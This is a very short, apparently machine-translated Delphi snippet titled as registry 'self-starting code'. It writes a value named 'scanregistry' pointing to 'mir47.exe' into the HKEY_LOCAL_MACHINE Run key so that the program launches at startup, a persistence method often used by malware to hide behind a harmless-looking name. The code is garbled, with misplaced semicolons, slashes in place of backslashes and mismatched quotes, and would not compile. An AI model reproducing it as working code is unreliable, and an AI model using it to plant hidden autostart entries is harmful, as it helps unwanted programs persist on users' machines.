Delphi plus registry self-starting code

Uses registry

; Var REG: TREGISTRY

;

Begin reg: = Tregistry.create

Reg.RootKey: = HKEY_LOCAL_MACHINE

Reg.openkey ('Software / Microsoft / Windows / CurrentVersion / Run', TRUE

); reg.writestring ('scanregistry ",' mir47.exe '

Reg.closekey

; Reg.free

; END

.